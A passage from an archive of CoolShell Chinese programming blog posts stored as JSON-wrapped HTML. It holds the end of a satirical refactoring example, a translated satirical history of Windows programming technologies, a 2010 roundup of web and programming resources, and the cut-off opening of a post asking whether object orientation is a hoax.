serviceDirectory.getServiceLocator(serviceDescriptor,context);\nwidgetModelFactory = (WidgetModelFactory)widgetModelFactoryServiceLocator.findService(context);\nwidgetModel = widgetModelFactory.getWidgetModel(context);\n\nslots = widgetModel.getSlotsPerWidget();</pre>\n<p>这就是我们的面像对象的编程模式，记得N年前在面试那家著名的以鼓吹敏捷方法论的公司时，在用程序实现一个程序题的时候，他们对我的程序很不屑一顾，原因有两个，其一、我没有使用TDD写UT Case，其二、我的程序里没有设计模式。（我才知道，编程原来是为了测试和设计模式，而不是为了原来的需求），今天，仅以此文献给钟爱于<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">那些流行编码风格</a>的程序员们。</p>\n<p>其实，这段代码也是如下而已罢了。</p>\n<p><code class=\"EnlighterJSRAW\">slots = thisWidget.getSlotCount();</code></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5292.html\"><img alt=\"弱爆程序员的特征值\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5292.html\">弱爆程序员的特征值</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-27 Windows编程革命简史.html",
    "content": "<html><body><p>源文：<a href=\"http://www.drdobbs.com/windows/225701475\" target=\"_blank\">A Brief History of Windows Programming Revolutions</a> （Ron Burk）</p>\n<p>首先，是 Windows API 和 <a href=\"http://en.wikipedia.org/wiki/DLL_hell\" target=\"_blank\">DLL Hell</a>。（译注：DLL Hell——DLL灾难，就是微软的DLL升级时因为不同版本可能造成应用程序无法运行的灾难，首当其冲的是COM编程，相信大家都知道某些木马或是病毒更改了一些系统的DLL可以导致整个Windows不举，这就是DLL Hell） 于是，第一次革命是<a href=\"http://en.wikipedia.org/wiki/Dynamic_Data_Exchange\" target=\"_blank\">DDE</a>——我们可以创建一个状态条在上面显示Microsoft的股票价格（译注：Dynamic Data Exchange，工作原理是： 甲方申请一块全局内存，然后把内存指针postmessage到乙方，乙方根据收到的指针访问那块全局内存）。</p>\n<p>在那个时候，Microsoft 创建了 VERSIONINFO 资源来管理版本信息，当然，是用来消除DLL Hell。但是，另一个微软内部的小组发现了DDE的致命缺陷：这不是他们做的！</p>\n<p>为了解决这个问题，他们创造了OLE（很像DDE，只是名字不一样），而且，我还记得在一次 Microsoft 大会上，某个微软的演讲者正式宣布—— Windows API 马上就会被 OLE API 所重写并取代，我还盲目地相信了这一说法。而且，所有的在图形界面的控件都会是OCX，那是OLE引入的接口，同样，其目的是为了消除DLL Hell。相信大家都记得，那个时候，我们是怎么地梦想着有一天，我们的应用程序（当然是非常大的程序）可以完全地被嵌入到Word文档中。</p>\n<p>然而，在Microsoft的某处，Microsoft有些人开始信仰 C++，其确信MFC的出现并可以解决所有的一切问题，但是，因为历史原因，OLE并没有出局，其改了一个名字，叫COM，此时，我们立马意识到OLE（以前的DDE？）真正意味着什么——其用精心的版本管理系统来消除DLL Hell。与此同时，Microsoft的一个变节小组发现了一个MFC的致命缺陷：这不是他们做的！</p>\n<p><span id=\"more-3008\"></span></p>\n<p>当然，微软件的动作是很快的，他们立刻修正了问题——创造了ATL，有些像MFC，只是名字不同，他们想使用漂亮的ATL把那些晦涩难懂的COM的知识给隐藏住。这个动作刺激了COM团队（或是OLE团队？）改名为ActiveX，并发布了成千上万的新接口（甚至是很多版本化的接口，当然，主要目的是为了消除DLL Hell），当然，ActiveX可以让我们的程序可以从Web游览器上下载，并可以完美地和病毒一起嵌入浏览器中（哈，还不紧跟时代，感谢ATL吧）。此时，操作系统团队就像一个失宠的孩子一样，大声呼喊着“<a href=\"http://www.microsoft.com/middleeast/egypt/cmic/\" target=\"_blank\">Cairo操作系统</a>来了”引起大家注意，当然有一些怪异恶心的东西连他们自己也无法解释清楚，所以，别提发布了。为了声誉，操作系统团队的确引入了“系统文件保护”的理念，当然也是为了消除DLL Hell。</p>\n<p>这个时候，Microsoft的某个团队发现了Java的致命缺陷：这不是他们做的！于是他们创造了一个叫J，或是Jole，或是ActiveJ的东西（对不起，我真的记不起叫什么了）来挽救Java（译者：应该是Visual J++）。看起来很像Java，只是名字不同罢了。这太让人兴奋了，但是Sun使用了一些相当古老的法律条款向Microsoft提起了法律诉讼，其在一年内限制了任何一个公司可以发布类似Java的产品。这明显是抑制微软复制别人产品的一次尝试，唯一不同的，其结果导致了微软流向国会议员裤兜的现金网络的建立（在这个网络可以得到时事新闻和价值$14.75的T恤衫）。还记得 J/Jole/ActiveJ 的项目经理用他的鞋桌在敲着桌子并信誓旦旦地坚持 Microsoft 将永远不会放弃他的产品。SB！所有的这些也就仅仅意味着一件事——没有人关心ActiveX团队（或者是COM？）。令人难以置信的是，微软把这些东东全部集成起来，成了COM+（难道不应该是ActiveX+?），还有MTS（我不知道为什么没有COM和Active或是X或是+的字眼，而直接叫MTS了——我为这个名词感到实实在在地震惊！）。他们总是那么NB地为那些流行词加上“+”号。在那段时间，还有人曾叫喊着“Windows DNA”以及“Windows Washboard”，但这两个东西最终在我搞清是什么玩意的之前就夭折了。</p>\n<p>在这一点上，Microsoft已经很不安地窥视着Internet好几年了，他们终于意识到Internet上有一个致命缺陷：嗯，你应该知道这是什么（译注：Internet不是做他们做的！）。于是他们开始培养我们和.NET约会（.NET的发音很像“doughnut”圆环图，不过，这只是他们的唯一不同），这和Internet很相似，只不过.NET有更多的印刷品。其让我们清楚再清楚地了解一件事：.NET会消除DLL Hell。.NET包含了一个新的编程语言，叫C#（为了解决已经死翘翘的Active++ J++的缺陷）。.NET还包含一个虚拟机，所有的语言都运行在上面（这主要是为了解决依赖于Intel CPU的缺陷）。.NET还包含了一个单一的登录系统（这主要是为了解决“不把口令存放在Microsoft服务器上”的缺陷）。实际上，我们更容易做的是把.NET不包含的事给列出来。.NET绝对是一个划时代地Windows编程革命……当然，仅到明年。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11235.html\"><img alt=\"一个浮点数跨平台产生的问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2672.html\"><img alt=\".NET代码转换器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2672.html\">.NET代码转换器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3008.html\">Windows编程革命简史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-28 一些非常有意思的杂项资源.html",
    "content": "<html><body><p>下面是一些最近在互联网上看到的一些各式各样的资源和文章，当然，都是英文社区的，本来想每一个写一篇文章，但是觉得一篇文章一句话真没劲，所以，把这些东西合并写成一篇文章，这样有利于减轻本站的负载，也有利于节省网络带宽，同样，也就节省了能力和电力，因此也就很环保，很低碳。呵呵。</p>\n<ul>\n<li>先是一个《Windows Internal》第五版的第五章的电子版（英文的），你可以在<a href=\"http://download.sysinternals.com/Files/WindowsInternals-Ch05.pdf\" target=\"_blank\"><strong>这里下载</strong></a>。关于其它一些电子书，你可以看看本站的这篇文章《<a href=\"https://coolshell.cn/articles/2775.html\" rel=\"bookmark\" target=\"_blank\">免费电子书列表</a>》、《<a href=\"https://coolshell.cn/articles/240.html\" rel=\"bookmark\">非常不错的编程技术教程</a>》、《<a href=\"https://coolshell.cn/articles/336.html\" rel=\"bookmark\">超过100本的linux免费书籍</a>》和《<a href=\"https://coolshell.cn/articles/355.html\" rel=\"bookmark\">20本最好的Linux免费书籍</a>》</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li><a href=\"http://www.3dtin.com/\" target=\"_blank\"><strong>http://www.3dtin.com/</strong></a>是一个用纯Javascript搞的一个3D作图的网站，Javascript是越来越强大了。这个演示可以让你看到以后Web应用的潜力。关于<a href=\"https://coolshell.cn/articles/tag/javascript\" target=\"_blank\">Javascript的一些东西</a>，你可以参看本站的这些文章《<a href=\"https://coolshell.cn/articles/2785.html\" rel=\"bookmark\" target=\"_blank\">JS1K 演示</a>》、《<a href=\"https://coolshell.cn/articles/2276.html\" rel=\"bookmark\" target=\"_blank\">又一个Javascript试验田</a>》、《<a href=\"https://coolshell.cn/articles/2065.html\" rel=\"bookmark\" target=\"_blank\">一个Windows 3.1的Web网站</a>》、《<a href=\"https://coolshell.cn/articles/1932.html\" rel=\"bookmark\" target=\"_blank\">哥是玩程序的</a>》。</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说到这些很酷很炫的东西，大家一定会想到使用Flash，不过，目前的<a href=\"https://coolshell.cn/articles/2735.html\" target=\"_blank\">Flash正在受到HTML5的强力挑战</a>，目前，对于HTML5的展示网站很多，让我们看到了HTML5完全可以做出Flash的样子，比如前些天本站说到的<a href=\"https://coolshell.cn/articles/2926.html\" target=\"_blank\">这个演示</a>，还有给大家展示的<a href=\"https://coolshell.cn/articles/2998.html\" target=\"_blank\">纯HTML5的小游戏</a>，不过，那些都是一些演示和展示罢了。今天在网上看到一个更强大的HTML5游戏，相当有可玩性，大家不妨一去试玩：<strong><a href=\"http://www.phoboslab.org/biolab/\" target=\"_blank\">http://www.phoboslab.org/biolab/</a></strong></li>\n</ul>\n<p><a href=\"http://www.phoboslab.org/biolab/\"><img alt=\"\" class=\"aligncenter size-full wp-image-3017\" height=\"321\" src=\"../wp-content/uploads/2010/09/biolab.jpg\" title=\"一个很不错的HTML5游戏\" width=\"483\"/></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>HTML5 可以应用的还不只是游戏，这不，<a href=\"http://thechangelog.com/post/1097381443/vexflow-html5-canvas-javascript-library-music-and-guitar\" target=\"_blank\">有文章指出</a>，用<a href=\"http://www.vexflow.com/\" target=\"_blank\"><strong>VexFlow</strong></a>还可以很轻松地在网页上发布乐谱。而<a href=\"http://stepheneisenhauer.com/demos/drummachine/\" target=\"_blank\"><strong>这个网页</strong></a>还可以让你制作Hi-PoP音乐。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://www.vexflow.com/\"><img alt=\"Rendered music\" height=\"240\" src=\"http://cl.ly/c4f966c6d51cfc9be20b/content\" width=\"530\"/></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说到Web开发，就得要提CSS了，这里有一个在线编辑CSS的网站，很不错，<a href=\"http://css3.mikeplate.com/\" target=\"_blank\"><strong>http://css3.mikeplate.com/</strong></a>。关于CSS和Web开发的一些文章，你可以查看本站的<a href=\"https://coolshell.cn/articles/tag/css\" target=\"_blank\">CSS的Tag</a>。现在，这种在线的东西是越来越多了，比如：《<a href=\"https://coolshell.cn/articles/2271.html\" rel=\"bookmark\" target=\"_blank\">Emacs配色在线生成器</a><span style=\"font-weight: normal; font-size: 13px;\">》、《</span><a href=\"https://coolshell.cn/articles/1883.html\" rel=\"bookmark\" target=\"_blank\">Coderun.com 在线开发IDE</a>》、《<a href=\"https://coolshell.cn/articles/1830.html\" rel=\"bookmark\" target=\"_blank\">正则表达式生成器</a>》、《<a href=\"https://coolshell.cn/articles/1611.html\" rel=\"bookmark\" target=\"_blank\">Ajax开发利器UIzard</a>》、《<a href=\"https://coolshell.cn/articles/776.html\" rel=\"bookmark\" target=\"_blank\">一个在线的画UML图的网站</a>》。</li>\n</ul>\n<p><span id=\"more-3013\"></span></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说起在线服务，就不得不说说在线代码编译的服务，我觉得这种服务相当好，不需要你在本机安装编译器或IDE，想试试某个语言的语法，真接上网就OK，很方便。以前本站向大家介绍过《<a href=\"https://coolshell.cn/articles/1310.html\" rel=\"bookmark\" target=\"_blank\">在线代码编译服务Codepad.org</a>》其支持：C，C++，D，Haskell，Lua，OCaml，PHP，Perl，Plain Text，Python，Ruby，Scheme，Tcl。当然，在这里，向你介绍一个可以运行Go语言的：<strong><a href=\"http://golang.org/doc/play/\" target=\"_blank\">http://golang.org/doc/play/</a></strong></li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说起Web开发，很自然的就能想到UI。下面是一个<a href=\"http://designingwebinterfaces.com/designing-web-interfaces-12-screen-patterns\" target=\"_blank\"><strong>UI的设计Patterns</strong></a>，这篇文章告诉了我们12个比较常用或是经典的图形UI Patterns。关于<a href=\"https://coolshell.cn/articles/tag/ui\" target=\"_blank\">UI方面的话题</a>，你可以参看酷壳的《<a href=\"https://coolshell.cn/articles/363.html\" rel=\"bookmark\" target=\"_blank\">35个强大的UI设计教程</a>》、《<a href=\"https://coolshell.cn/articles/1907.html\" rel=\"bookmark\" target=\"_blank\">UI的恶梦</a>》和《<a href=\"https://coolshell.cn/articles/2313.html\" rel=\"bookmark\" target=\"_blank\">史上最糟糕的网站</a>》。</li>\n</ul>\n<p><a href=\"http://designingwebinterfaces.com/designing-web-interfaces-12-screen-patterns\"><img alt=\"\" class=\"aligncenter\" height=\"705\" src=\"http://theresaneil.files.wordpress.com/2008/12/standard_screen_patterns.png\" title=\"12个标准的图形UI设计模式\" width=\"476\"/></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>说起Web的界面，最让各位WEB开发者痛苦的就是网页兼容性问题，IE是一个恶梦，因为其自己和自己都不兼容，在MSDN上，有这样的一个网页说明了<a href=\"http://msdn.microsoft.com/en-us/library/cc351024\" target=\"_blank\"><strong>从IE5一直到IE9的CSS的兼容性问题</strong></a>，很多很多的表格，头都看大了。当然，以前本站的《<a href=\"https://coolshell.cn/articles/757.html\" rel=\"bookmark\" target=\"_blank\">检查网页浏览器的兼容性</a>》的文章向你介绍过如何查看网站在不同浏览器中和操作系统下的效果（其也是一个在线服务）。</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>当然，Web上的开发，问题最大的还是安全问题，我们的Ruby on Rails给出了一个<a href=\"http://guides.rubyonrails.org/security.html\" target=\"_blank\"><strong>Web安全的开发教程</strong></a>，相当不错哦。谈到了几乎所有最有威胁和最常用的网上攻击，这个文档应该是所有Web开发者都需要注意的。</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>下面是一个给新手学习linux用的一个桌面（点击图片看大图），其列出了很多常用的命令，以及VI的常用命令。关于VI的一些东西，你可以查看<a href=\"https://coolshell.cn/articles/tag/vim\" target=\"_blank\">本站的这些文章</a>，如：<a href=\"https://coolshell.cn/articles/1651.html\" rel=\"bookmark\" target=\"_blank\">VIM有趣的命令</a>、<a href=\"https://coolshell.cn/articles/894.html\" rel=\"bookmark\" target=\"_blank\">如何在vim中得到你最喜爱的IDE特性</a></li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://i.imgur.com/CJkR9.png\"><img alt=\"\" class=\"aligncenter\" height=\"346\" src=\"http://i.imgur.com/CJkR9.png\" title=\"Linux命令桌面\" width=\"553\"/></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>最后，给大家介绍一个关于文件格式方面东西，我们知道，很多文件的开头表明着这个文件的类型，所以，有这样的一个网站了维护了这么一个信息列表，其把几乎所有常见的文件头的那段和文件类型相关的Magic Number列了出来，而且还保持更新，非常不错哦，这个网站是：<strong><a href=\"http://www.garykessler.net/library/file_sigs.html\">http://www.garykessler.net/library/file_sigs.html</a><span style=\"font-weight: normal;\">，希望能对你有用哦。</span></strong></li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li><strong><span style=\"font-weight: normal;\">最最后，给大家介绍一个开源项目，叫<a href=\"http://structuresynth.sourceforge.net/\" target=\"_blank\"><strong>Structure Synth</strong></a>，这个东西可以用来画出一些很酷的图，相当不错，使用起来非常简单，我试用了一下，的确很强大。用一些简单的脚本就可以作出很不错的3D图，下面是他的一个示例，只需要写那么不到10行的代码，很简单。</span></strong></li>\n</ul>\n<p><a href=\"http://structuresynth.sourceforge.net/index.php\"><img alt=\"\" class=\"aligncenter size-full wp-image-3018\" height=\"301\" src=\"../wp-content/uploads/2010/09/Structure-Synth.jpg\" title=\"Structure Synth\" width=\"500\"/></a></p>\n<p style=\"padding-left: 60px;\">想看看，大家用这个东西做什么酷图了吗？上 <a href=\"http://www.flickr.com/groups/structuresynth/\" target=\"_blank\">http://www.flickr.com/groups/structuresynth/</a> 看看吧。</p>\n<p id=\"pool_4652540301\" style=\"text-align: center;\"><a href=\"http://www.flickr.com/photos/9857764@N02/4652540301/in/pool-structuresynth\" title=\"structure 作者 Supreet Kumar\"><img alt=\"structure 作者 Supreet Kumar\" border=\"0\" height=\"56\" src=\"http://farm5.static.flickr.com/4029/4652540301_db50832fdc_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4652540021/in/pool-structuresynth\" title=\"architecture x-ray 2 作者 Supreet Kumar\"><img alt=\"architecture x-ray 2 作者 Supreet Kumar\" border=\"0\" height=\"62\" src=\"http://farm5.static.flickr.com/4044/4652540021_0f17294ca5_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4650270228/in/pool-structuresynth\" title=\"perspective 作者 Supreet Kumar\"><img alt=\"perspective 作者 Supreet Kumar\" border=\"0\" height=\"60\" src=\"http://farm5.static.flickr.com/4002/4650270228_8cc69948bc_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4649663253/in/pool-structuresynth\" title=\"snake shade 作者 Supreet Kumar\"><img alt=\"snake shade 作者 Supreet Kumar\" border=\"0\" height=\"57\" src=\"http://farm5.static.flickr.com/4042/4649663253_aa041ab239_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4641732162/in/pool-structuresynth\" title=\"thatched beauty 作者 Supreet Kumar\"><img alt=\"thatched beauty 作者 Supreet Kumar\" border=\"0\" height=\"63\" src=\"http://farm4.static.flickr.com/3414/4641732162_e2b078825f_t.jpg\" width=\"100\"/></a><br/>\n<a href=\"http://www.flickr.com/photos/9857764@N02/4641055399/in/pool-structuresynth\" title=\"aircraft 作者 Supreet Kumar\"><img alt=\"aircraft 作者 Supreet Kumar\" border=\"0\" height=\"70\" src=\"http://farm4.static.flickr.com/3353/4641055399_25688820a9_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4641055019/in/pool-structuresynth\" title=\"aircraft 作者 Supreet Kumar\"><img alt=\"aircraft 作者 Supreet Kumar\" border=\"0\" height=\"65\" src=\"http://farm5.static.flickr.com/4064/4641055019_6ed80cd1b9_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/cav666/4640849748/in/pool-structuresynth\" title=\" 作者 FracturedPixel\"><img alt=\" 作者 FracturedPixel\" border=\"0\" height=\"63\" src=\"http://farm5.static.flickr.com/4062/4640849748_0532451842_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4636427318/in/pool-structuresynth\" title=\"splash1 作者 Supreet Kumar\"><img alt=\"splash1 作者 Supreet Kumar\" border=\"0\" height=\"63\" src=\"http://farm5.static.flickr.com/4008/4636427318_c84acf4aa4_t.jpg\" width=\"100\"/></a> <a href=\"http://www.flickr.com/photos/9857764@N02/4635820649/in/pool-structuresynth\" title=\"joy 作者 Supreet Kumar\"><img alt=\"joy 作者 Supreet Kumar\" border=\"0\" height=\"53\" src=\"http://farm5.static.flickr.com/4012/4635820649_720cd6599b_t.jpg\" width=\"100\"/></a></p>\n<p id=\"pool_4635820649\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-29 面向对象是个骗局？！.html",
    "content": "<html><body><p>今天在网上看到网页叫“<a href=\"http://c2.com/cgi/wiki?ObjectOrientationIsaHoax\" target=\"_blank\">Object Orientation Isa Hoax</a>”——面向对象是一个骗局，标题很有煽动性（注：该网站上还有一个网页叫<a href=\"http://c2.com/cgi/wiki?ObjectOrientationIsDead\" target=\"_blank\">Object Orientation Is Dead</a>），好吧，打开看看上面有些 什么，发现这个网页是在收集一些关于“面向对象的反动言论”，没想到的是，很多言论出自很多大师之口。比如：Alexander Stepanov和Bjarne Stroustrup。这些言论挺有意思的，所以，我摘两段在下面：</p>\n<p>第一段是Alexander Stepanov的（不要告诉我你不知道这个人，STL之父，关于他的故事，可以到<a href=\"http://www.techcn.com.cn/index.php?doc-view-131345.html\" target=\"_blank\">这里看看</a>）。他N年前作过一段采访，<a href=\"http://www.stlport.org/resources/StepanovUSA.html\" target=\"_blank\">原文在这里</a>（我非常建议大家去读一下这篇采访，相当过瘾），<a href=\"http://dev.csdn.net/htmls/11/11440.html\" target=\"_blank\">译文在这里</a>（不过有地方把原意都译反了，我重译了一下），其中有一个问答被上述的那个面向对象反动言论的网页收录了：</p>\n<figure class=\"wp-caption alignright\" style=\"width: 225px;\"><img alt=\"\" height=\"300\" 